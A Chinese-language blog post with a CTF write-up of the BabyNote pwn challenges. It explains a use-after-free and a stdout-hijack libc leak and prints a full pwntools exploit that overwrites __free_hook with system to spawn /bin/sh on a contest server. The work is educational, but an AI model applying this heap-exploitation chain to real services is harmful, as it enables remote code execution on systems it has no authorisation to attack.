<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.3.0">
  <link rel="apple-touch-icon" sizes="180x180" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="icon" type="image/png" sizes="32x32" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="icon" type="image/png" sizes="16x16" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <link rel="mask-icon" href="https://www.hualigs.cn/image/6015799666530.jpg" color="#222">
  <link rel="manifest" href="https://www.hualigs.cn/image/6015799666530.jpg">
  <meta name="msapplication-config" content="https://www.hualigs.cn/image/6015799666530.jpg">

<link rel="stylesheet" href="/diazang/css/main.css">


<link rel="stylesheet" href="/diazang/lib/font-awesome/css/all.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"jue-xian.gitee.io","root":"/diazang/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":true,"scrollpercent":true},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
  </script>

  <meta name="description" content="感谢师兄们的带飞，本次比赛线上综合全省第八">
<meta property="og:type" content="article">
<meta property="og:title" content="第一届广东省赛BabyNote&amp;BabyNote_revenge">
<meta property="og:url" content="https://jue-xian.gitee.io/diazang/2021/05/24/%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9BBabyNote&BabyNote_revenge/index.html">
<meta property="og:site_name" content="RUBIA">
<meta property="og:description" content="感谢师兄们的带飞，本次比赛线上综合全省第八">
<meta property="og:locale" content="zh_CN">
<meta property="article:published_time" content="2021-05-24T12:47:09.000Z">
<meta property="article:modified_time" content="2021-05-25T16:50:05.530Z">
<meta property="article:author" content="H.R.P">
<meta name="twitter:card" content="summary">

<link rel="canonical" href="https://jue-xian.gitee.io/diazang/2021/05/24/%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9BBabyNote&BabyNote_revenge/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>第一届广东省赛BabyNote&BabyNote_revenge | RUBIA</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

<link rel="alternate" href="/diazang/atom.xml" title="RUBIA" type="application/atom+xml">
</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/diazang/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">RUBIA</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
        <i class="fa fa-search fa-fw fa-lg"></i>
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/diazang/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/diazang/about/" rel="section"><i class="fa fa-user fa-fw"></i>关于</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/diazang/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/diazang/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/diazang/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>

  </li>
        <li class="menu-item menu-item-schedule">

    <a href="/diazang/schedule/" rel="section"><i class="fa fa-calendar fa-fw"></i>日程表</a>

  </li>
        <li class="menu-item menu-item-sitemap">

    <a href="/diazang/sitemap.xml" rel="section"><i class="fa fa-sitemap fa-fw"></i>站点地图</a>

  </li>
        <li class="menu-item menu-item-commonweal">

    <a href="/diazang/404/" rel="section"><i class="fa fa-heartbeat fa-fw"></i>公益 404</a>

  </li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
        </a>
      </li>
  </ul>
</nav>



  <div class="search-pop-overlay">
    <div class="popup search-popup">
        <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocapitalize="off"
           placeholder="搜索..." spellcheck="false"
           type="search" class="search-input">
  </div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div id="search-result">
  <div id="no-result">
    <i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
  </div>
</div>

    </div>
  </div>

</div>
    </header>

    


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="https://jue-xian.gitee.io/diazang/2021/05/24/%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9BBabyNote&BabyNote_revenge/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="https://www.hualigs.cn/image/6015786be4309.jpg">
      <meta itemprop="name" content="H.R.P">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="RUBIA">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          第一届广东省赛BabyNote&BabyNote_revenge
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2021-05-24 20:47:09" itemprop="dateCreated datePublished" datetime="2021-05-24T20:47:09+08:00">2021-05-24</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="far fa-calendar-check"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2021-05-26 00:50:05" itemprop="dateModified" datetime="2021-05-26T00:50:05+08:00">2021-05-26</time>
              </span>

          
  
  <span class="post-meta-item">
    
      <span class="post-meta-item-icon">
        <i class="far fa-comment"></i>
      </span>
      <span class="post-meta-item-text">Valine：</span>
    
    <a title="valine" href="/diazang/2021/05/24/%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9BBabyNote&BabyNote_revenge/#valine-comments" itemprop="discussionUrl">
      <span class="post-comments-count valine-comment-count" data-xid="/diazang/2021/05/24/%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%B9%BF%E4%B8%9C%E7%9C%81%E8%B5%9BBabyNote&BabyNote_revenge/" itemprop="commentCount"></span>
    </a>
  </span>
  
  

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <p>感谢师兄们的带飞，本次比赛线上综合全省第八</p>
<a id="more"></a>

<h2 id="BabyNote"><a href="#BabyNote" class="headerlink" title="BabyNote"></a>BabyNote</h2><p>做题好习惯查版本和checksec</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">q@ubuntu:~/Desktop$ strings -a ./by  | grep <span class="string">&quot;GCC&quot;</span></span><br><span class="line">GCC: (Ubuntu <span class="number">9.3</span><span class="number">.0</span>-17ubuntu1~<span class="number">20.04</span>) <span class="number">9.3</span><span class="number">.0</span></span><br><span class="line">q@ubuntu:~/Desktop$ checksec by</span><br><span class="line">[*] <span class="string">&#x27;/home/q/Desktop/by&#x27;</span></span><br><span class="line">    Arch:     amd64-<span class="number">64</span>-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>Ubuntu20的 提供的libc也可以看出来2.31的libc</p>
<p>保护全开非常不友好啊</p>
<h2 id="概检"><a href="#概检" class="headerlink" title="概检"></a>概检</h2><p>看题目去吧</p>
<p>经典菜单题，有hint（我没用到），缺少show功能</p>
<p>做堆按照常规思路没有show我们就要想办法去劫持stdout</p>
<p>经过检查add函数里面没有溢出</p>
<p>dele函数里面存在UAF漏洞</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">  ((<span class="keyword">void</span> (__fastcall *)(__int64, <span class="keyword">char</span> **, <span class="keyword">char</span> **))((<span class="keyword">char</span> *)&amp;sub_1248 + <span class="number">1</span>))(a1, a2, a3);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      menu();</span><br><span class="line">      __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v3);</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">666</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      hint();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v3 &gt; <span class="number">666</span> )</span><br><span class="line">      <span class="keyword">goto</span> LABEL_15;</span><br><span class="line">    <span class="keyword">if</span> ( v3 == <span class="number">4</span> )</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> ( v3 &gt; <span class="number">4</span> )</span><br><span class="line">    &#123;</span><br><span class="line">LABEL_15:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Invalid choice!&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">switch</span> ( v3 )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">          dele();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">          add();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">          edit();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">default</span>:</span><br><span class="line">          <span class="keyword">goto</span> LABEL_15;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>


<h2 id="概思"><a href="#概思" class="headerlink" title="概思"></a>概思</h2><p>通过低字节覆盖 unsorted bin 留下的 main_arena 指针，再加以爆破 4 位，就能分配到 _IO_2_1_stdout ，通过篡改 _IO_2_1_stdout 的 flags 为 0x0FBAD1887（改了flag后才能写入\x00） ，_IO_write_base 低字节覆盖，然后当程序调用 puts 输出任意信息时，就会输出 _IO_write_base 到 _IO_write_ptr 之间的数据，而这之间就有 libc 的指针。</p>
<h2 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span>(<span class="params">content</span>):</span></span><br><span class="line">    p.sendlineafter(<span class="string">&quot;&gt;&gt;&gt; &quot;</span>,<span class="built_in">str</span>(<span class="number">1</span>))</span><br><span class="line">    p.sendafter(<span class="string">&quot;Input Content:\n&quot;</span>,content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dele</span>(<span class="params"><span class="built_in">id</span></span>):</span></span><br><span class="line">    p.sendlineafter(<span class="string">&quot;&gt;&gt;&gt; &quot;</span>,<span class="built_in">str</span>(<span class="number">3</span>))</span><br><span class="line">    p.sendlineafter(<span class="string">&quot;Input ID:\n&quot;</span>,<span class="built_in">str</span>(<span class="built_in">id</span>))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span>(<span class="params"><span class="built_in">id</span>,content</span>):</span></span><br><span class="line">    p.sendlineafter(<span class="string">&quot;&gt;&gt;&gt; &quot;</span>,<span class="built_in">str</span>(<span class="number">2</span>))</span><br><span class="line">    p.sendlineafter(<span class="string">&quot;Input ID:\n&quot;</span>,<span class="built_in">str</span>(<span class="built_in">id</span>))</span><br><span class="line">    p.sendafter(<span class="string">&quot;Input Content:\n&quot;</span>,content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">pwn</span>():</span></span><br><span class="line">    add(<span class="string">&#x27;a&#x27;</span>*<span class="number">58</span>)<span class="comment">#0</span></span><br><span class="line">    add(<span class="string">&#x27;a&#x27;</span>*<span class="number">58</span>)<span class="comment">#1</span></span><br><span class="line">    add(<span class="string">&#x27;a&#x27;</span>*<span class="number">58</span>)<span class="comment">#2</span></span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">        dele(<span class="number">0</span>)</span><br><span class="line">        edit(<span class="number">0</span>,<span class="string">&#x27;b&#x27;</span>*<span class="number">0x58</span>)<span class="comment">#fill tcache</span></span><br><span class="line">    edit(<span class="number">0</span>,<span class="string">&#x27;\x00&#x27;</span>*<span class="number">0x10</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">&quot;&gt;&gt;&gt; &quot;</span>,<span class="string">&#x27;1&#x27;</span>*<span class="number">0x450</span>)<span class="comment">#填充满 tcache 之后，放一个到 fastbin 里面。然后再 scanf 输入一个非常长的字符串，触发 malloc_consolidate 会申请一个 larginbin ，就会将 fastbin 放入 unsortedbin</span></span><br><span class="line">    edit(<span class="number">0</span>,<span class="string">&#x27;\xa0\x66&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    _IO_2_1_stdout_ = libc.symbols[<span class="string">&#x27;_IO_2_1_stdout_&#x27;</span>]</span><br><span class="line">    log.info(<span class="string">&quot;_IO_2_1_stdout_:&quot;</span>+<span class="built_in">hex</span>(_IO_2_1_stdout_))</span><br><span class="line"></span><br><span class="line">    add(<span class="string">&#x27;c&#x27;</span>*<span class="number">0x8</span>)<span class="comment">#3</span></span><br><span class="line">    add(p64(<span class="number">0x0FBAD1887</span>) +p64(<span class="number">0</span>)*<span class="number">3</span> + p8(<span class="number">0x00</span>))<span class="comment">#4 #get _IO_2_1_stdout_  change flag</span></span><br><span class="line">    libc_base = u64(p.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>,timeout=<span class="number">1</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))-<span class="number">0x1eb980</span><span class="comment">#vmmap search offset</span></span><br><span class="line">    log.info(<span class="string">&quot;libc_base:&quot;</span>+<span class="built_in">hex</span>(libc_base))</span><br><span class="line"></span><br><span class="line">    free_hook = libc_base+libc.sym[<span class="string">&#x27;__free_hook&#x27;</span>]</span><br><span class="line">    system_addr = libc_base+libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">    </span><br><span class="line">    dele(<span class="number">1</span>)</span><br><span class="line">    edit(<span class="number">1</span>,p64(free_hook)*<span class="number">2</span>)</span><br><span class="line">    add(<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">    add(p64(system_addr))</span><br><span class="line">    dele(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    p.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    p = remote(<span class="string">&quot;8.134.14.168&quot;</span>, <span class="number">10000</span>)</span><br><span class="line">    libc = ELF(<span class="string">&quot;./libc-2.31.so&quot;</span>)</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            pwn()</span><br><span class="line">            exit(<span class="number">0</span>)</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            p.close()</span><br><span class="line">            p = remote(<span class="string">&quot;8.134.14.168&quot;</span>, <span class="number">10000</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure>


<h2 id="详解"><a href="#详解" class="headerlink" title="详解"></a>详解</h2><p>如下第一部分代码</p>
<p>我们都知道要想泄露libc需要unsortedbin需要show</p>
<p>我们一步步完成，show可以用劫持stdout完成</p>
<p>构造unsortedbin如下</p>
<p>创建3个堆块OFF BY NULL</p>
<p>然后多次释放填充满tcache,让chunk进入fastbin</p>
<p>接着去触发malloc_consolidate</p>
<p>malloc_consolidate的作用就是当scanf输入的数据大小大于0x400</p>
<p>就会malloc一个largebin在缓冲区暂时的存放数据</p>
<p>并且将fastbin的chunk整合到unsortedbin中</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">pwn</span>():</span></span><br><span class="line">    add(<span class="string">&#x27;a&#x27;</span>*<span class="number">58</span>)<span class="comment">#0</span></span><br><span class="line">    add(<span class="string">&#x27;a&#x27;</span>*<span class="number">58</span>)<span class="comment">#1</span></span><br><span class="line">    add(<span class="string">&#x27;a&#x27;</span>*<span class="number">58</span>)<span class="comment">#2</span></span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">        dele(<span class="number">0</span>)</span><br><span class="line">        edit(<span class="number">0</span>,<span class="string">&#x27;b&#x27;</span>*<span class="number">0x58</span>)<span class="comment">#fill tcache</span></span><br><span class="line">    edit(<span class="number">0</span>,<span class="string">&#x27;\x00&#x27;</span>*<span class="number">0x10</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">&quot;&gt;&gt;&gt; &quot;</span>,<span class="string">&#x27;1&#x27;</span>*<span class="number">0x450</span>)<span class="comment">#填充满 tcache 之后，放一个到 fastbin 里面。然后再 scanf 输入一个非常长的字符串，触发 malloc_consolidate 会申请一个 larginbin ，就会将 fastbin 放入 unsortedbin</span></span><br></pre></td></tr></table></figure>
<p>有了unsortedbin中存在的main_arena指针</p>
<p>我们就要想办法去leak他此时就要开始劫持stdout了</p>
<p>传入的地址是为了爆破到&lt;_IO_2_1_stdout_&gt;，概率1/16</p>
<p>爆破地址查看p &amp;_IO_2_1_stdout_</p>
<p>后面低三位的6a0不变第四位随意写去爆破</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; p &amp;_IO_2_1_stdout_</span><br><span class="line">$1 &#x3D; (struct _IO_FILE_plus *) 0x7ffff7faf6a0 &lt;_IO_2_1_stdout_&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>调用一个堆块隔开避免填充错误</p>
<p>接着最关键的来了修改_IO_2_1_stdout_的flag以及低字节覆盖到</p>
<p>_IO_write_base </p>
<p>这样就能输出指向libc的地址啦</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">edit(<span class="number">0</span>,<span class="string">&#x27;\xa0\x66&#x27;</span>)</span><br><span class="line"></span><br><span class="line">   _IO_2_1_stdout_ = libc.symbols[<span class="string">&#x27;_IO_2_1_stdout_&#x27;</span>]</span><br><span class="line">   log.info(<span class="string">&quot;_IO_2_1_stdout_:&quot;</span>+<span class="built_in">hex</span>(_IO_2_1_stdout_))</span><br><span class="line"></span><br><span class="line">   add(<span class="string">&#x27;c&#x27;</span>*<span class="number">0x8</span>)<span class="comment">#3</span></span><br><span class="line">   add(p64(<span class="number">0x0FBAD1887</span>) +p64(<span class="number">0</span>)*<span class="number">3</span> + p8(<span class="number">0x00</span>))<span class="comment">#4 #get _IO_2_1_stdout_  change flag</span></span><br></pre></td></tr></table></figure>


<p>接着我们就可以有libc_base啦，找的是libc和_IO_2_1_stdout_的偏移</p>
<p>输入libc查看当前libc</p>
<p>输入p _IO_2_1_stdout_查看_IO_2_1_stdout_</p>
<p>用_IO_2_1_stdout_-libc  就可以得到offset</p>
<p>泄露的libc-offset就是libc_base啦</p>
<p>有了这个不就是随便打了吗</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">libc_base = u64(p.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>,timeout=<span class="number">1</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))-<span class="number">0x1eb980</span><span class="comment">#vmmap search offset</span></span><br><span class="line">    log.info(<span class="string">&quot;libc_base:&quot;</span>+<span class="built_in">hex</span>(libc_base))</span><br><span class="line"></span><br><span class="line">    free_hook = libc_base+libc.sym[<span class="string">&#x27;__free_hook&#x27;</span>]</span><br><span class="line">    system_addr = libc_base+libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">    </span><br><span class="line">    dele(<span class="number">1</span>)</span><br><span class="line">    edit(<span class="number">1</span>,p64(free_hook)*<span class="number">2</span>)</span><br><span class="line">    add(<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">    add(p64(system_addr))</span><br><span class="line">    dele(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    p.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    p = remote(<span class="string">&quot;8.134.14.168&quot;</span>, <span class="number">10000</span>)</span><br><span class="line">    libc = ELF(<span class="string">&quot;./libc-2.31.so&quot;</span>)</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            pwn()</span><br><span class="line">            exit(<span class="number">0</span>)</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            p.close()</span><br><span class="line">            p = remote(<span class="string">&quot;8.134.14.168&quot;</span>, <span class="number">10000</span>)</span><br></pre></td></tr></table></figure>


<h2 id="BabyNote-revenge"><a href="#BabyNote-revenge" class="headerlink" title="BabyNote_revenge"></a>BabyNote_revenge</h2><p>加了沙箱和没加一样happy，直接非预期照搬上面就行了perfect</p>

    </div>

    
    
    

      <footer class="post-footer">

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/diazang/2021/05/17/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/" rel="prev" title="数据结构">
      <i class="fa fa-chevron-left"></i> 数据结构
    </a></div>
      <div class="post-nav-item"></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          
    <div class="comments" id="valine-comments"></div>

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#BabyNote"><span class="nav-number">1.</span> <span class="nav-text">BabyNote</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%A6%82%E6%A3%80"><span class="nav-number">2.</span> <span class="nav-text">概检</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%A6%82%E6%80%9D"><span class="nav-number">3.</span> <span class="nav-text">概思</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#EXP"><span class="nav-number">4.</span> <span class="nav-text">EXP</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E8%AF%A6%E8%A7%A3"><span class="nav-number">5.</span> <span class="nav-text">详解</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#BabyNote-revenge"><span class="nav-number">6.</span> <span class="nav-text">BabyNote_revenge</span></a></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
